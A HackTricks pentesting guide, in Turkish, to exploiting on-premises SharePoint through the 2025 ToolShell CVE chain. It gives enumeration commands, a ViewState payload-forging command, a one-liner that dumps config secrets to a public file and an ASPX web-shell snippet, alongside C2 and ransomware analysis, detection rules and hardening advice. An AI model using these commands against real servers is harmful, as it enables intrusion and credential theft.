Microsoft SharePoint – Pentesting & Exploitation
Reading time: 7 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Microsoft SharePoint (yerinde) ASP.NET/IIS üzerine inşa edilmiştir. Bu nedenle, klasik web saldırı yüzeyinin çoğu (ViewState, Web.Config, web shell'ler vb.) mevcuttur, ancak SharePoint ayrıca maruz kalan saldırı yüzeyini önemli ölçüde genişleten yüzlerce özel ASPX sayfası ve web hizmeti ile birlikte gelir. Bu sayfa, Unit42 tarafından açıklanan 2025 exploit zincirine (CVE-2025-49704/49706/53770/53771) vurgu yaparak, SharePoint ortamlarında sayım, istismar ve kalıcılık sağlamak için pratik ipuçlarını toplar.
1. Quick enumeration
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
2. 2025 exploit zinciri (diğer adıyla “ToolShell”)
2.1 CVE-2025-49704 – ToolPane.aspx'da Kod Enjeksiyonu
/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload>
sayfaya rastgele Server-Side Include kodunun enjekte edilmesine izin verir ve bu kod daha sonra ASP.NET tarafından derlenir. Bir saldırgan, Process.Start()
'ı çalıştıran C# kodunu gömebilir ve kötü niyetli bir ViewState bırakabilir.
2.2 CVE-2025-49706 – Yanlış Kimlik Doğrulama Atlatma
Aynı sayfa, site bağlamını belirlemek için X-Forms_BaseUrl başlığına güvenmektedir. Bunu /_layouts/15/
'e yönlendirerek, kök sitede uygulanan MFA/SSO kimlik doğrulaması olmadan atlatılabilir.
2.3 CVE-2025-53770 – Kimlik Doğrulaması Olmayan ViewState Deserialization → RCE
Saldırgan ToolPane.aspx
'da bir gadget'ı kontrol ettiğinde, .NET deserialization'ı tetikleyen imzasız (veya yalnızca MAC) __VIEWSTATE
değerini gönderebilir, bu da kod yürütmeye yol açar.
Eğer imzalama etkinse, herhangi bir web.config
'ten ValidationKey/DecryptionKey'i çalın (bkz. 2.4) ve yükü ysoserial.net veya ysodom ile sahteleyin:
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
ASP.NET ViewState'i kötüye kullanma hakkında derinlemesine bir açıklama için okuyun:
Exploiting __VIEWSTATE without knowing the secrets
2.4 CVE-2025-53771 – Yol Traversali / web.config Açığa Çıkarma
ToolPane.aspx
'ye hazırlanmış bir Source
parametresi göndermek (örneğin ../../../../web.config
), hedef dosyayı döndürerek aşağıdakilerin açığa çıkmasına izin verir:
<machineKey validationKey="…" decryptionKey="…">
➜ ViewState / ASPXAUTH çerezlerini sahtelemek- bağlantı dizeleri ve gizli anahtarlar.
3. Gerçek hayatta gözlemlenen sonrası istismar tarifleri
3.1 Her .config dosyasını dışarı aktar (varyasyon-1)
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
Sonuç olarak elde edilen debug_dev.js
anonim olarak indirilebilir ve tüm hassas yapılandırmaları içerir.
3.2 Base64 kodlu ASPX web shell dağıtımı (varyasyon-2)
powershell.exe -EncodedCommand <base64>
Kodlanmış yük örneği (kısaltılmış):
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
Yazıldığı yer:
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
Shell, çift kanallı C2 implantı ve SharePoint ortamlarında fidye yazılımı dağıtmak için ilk RCE sonrasında ToolShell zincirini nasıl kullandığını gösteren son olay yanıtı araştırmaları (Unit42 “Project AK47”):
AK47C2 – dnsclient
varyantı
- Sabit kodlu DNS sunucusu:
10.7.66.10
, yetkili alanupdate.updatemicfosoft.com
ile iletişim kuruyor. - Mesajlar, statik anahtar
VHBD@H
ile XOR şifrelenmiş JSON nesneleridir, hex kodlanmış ve alt alan etiketleri olarak gömülmüştür.
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
- Uzun sorgular parçalara ayrılır ve
s
ile ön eklenir, ardından sunucu tarafında yeniden birleştirilir. - Sunucu, aynı XOR/hex şemasını taşıyan TXT kayıtları ile yanıt verir:
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
- Versiyon 202504,
<COMMAND>::<SESSION_KEY>
ve parça işaretçileri1
,2
,a
ile basitleştirilmiş bir format tanıttı.
AK47C2 – httpclient
varyantı
- Tam olarak aynı JSON & XOR rutinini yeniden kullanır ancak hex blob'u HTTP POST gövdesinde
libcurl
aracılığıyla gönderir (CURLOPT_POSTFIELDS
, vb.). - Aşağıdaki işlemleri gerçekleştiren aynı görev/sonuç iş akışı sağlar:
- Keyfi shell komut yürütme.
- Dinamik uyku aralığı ve kill-switch talimatları.
X2ANYLOCK fidye yazılımı
- DLL yan yükleme aracılığıyla yüklenen 64-bit C++ yükü (aşağıya bakın).
- Dosya verileri için AES-CBC ve AES anahtarını sarmak için RSA-2048 kullanır, ardından
.x2anylock
uzantısını ekler. - Yerel sürücüleri ve keşfedilen SMB paylaşımlarını özyinelemeli olarak şifreler; sistem yollarını atlar.
- Müzakere için statik Tox ID gömülü
How to decrypt my data.txt
açık metin notu bırakır. - İçinde bir kill-switch içerir:
if (file_mod_time >= "2026-06-06") exit(0);
DLL yan yükleme zinciri
- Saldırgan, meşru bir
7z.exe
dosyasının yanınadllhijacked.dll
/My7zdllhijacked.dll
yazar. - SharePoint tarafından başlatılan
w3wp.exe
, Windows arama sırası nedeniyle kötü amaçlı DLL'yi yükleyen7z.exe
'yi başlatır ve fidye yazılımı giriş noktasını bellekte çağırır. - Ayrı bir LockBit yükleyici gözlemlendi (
bbb.msi
➜clink_x86.exe
➜clink_dll_x86.dll
), shell kodunu şifre çözer ve LockBit 3.0'ı çalıştırmak içind3dl1.dll
içine DLL hollowing gerçekleştirir.
info
X2ANYLOCK'ta bulunan aynı statik Tox ID, sızdırılan LockBit veritabanlarında görünmektedir ve bu da ortaklık örtüşmesini önermektedir.
4. Tespit fikirleri
Telemetri | Neden şüpheli |
---|---|
w3wp.exe → cmd.exe | Çalışan süreç nadiren shell başlatmalıdır |
cmd.exe → powershell.exe -EncodedCommand | Klasik lolbin deseni |
debug_dev.js veya spinstall0.aspx oluşturan dosya olayları | ToolShell'den doğrudan IOC'ler |
ProcessCmdLine CONTAINS ToolPane.aspx (ETW/Modül günlükleri) | Kamuya açık PoC'ler bu sayfayı çağırır |
Örnek XDR / Sysmon kuralı (pseudo-XQL):
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
5. Güçlendirme & Azaltma
- Yamanla – Temmuz 2025 güvenlik güncellemeleri tüm dört CVE'yi düzeltir.
- Kompromize sonrası her
<machineKey>
veViewState
gizli anahtarını değiştirin. WSS_WPG
&WSS_ADMIN_WPG
gruplarından LAYOUTS yazma iznini kaldırın.- Proxy/WAF seviyesinde
/_layouts/15/ToolPane.aspx
dış erişimini engelleyin. - ViewStateUserKey, MAC etkin, ve özel EventValidation'ı etkinleştirin.
İlgili hileler
- IIS sonrası istismar & web.config kötüye kullanımı:
IIS - Internet Information Services
Referanslar
- Unit42 – Microsoft SharePoint Açıklarının Aktif İstismarı
- GitHub PoC – ToolShell istismar zinciri
- Microsoft Güvenlik Danışmanlığı – CVE-2025-49704 / 49706
- Unit42 – Proje AK47 / SharePoint İstismarı & Ransomware Faaliyeti
- Microsoft Güvenlik Danışmanlığı – CVE-2025-53770 / 53771
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.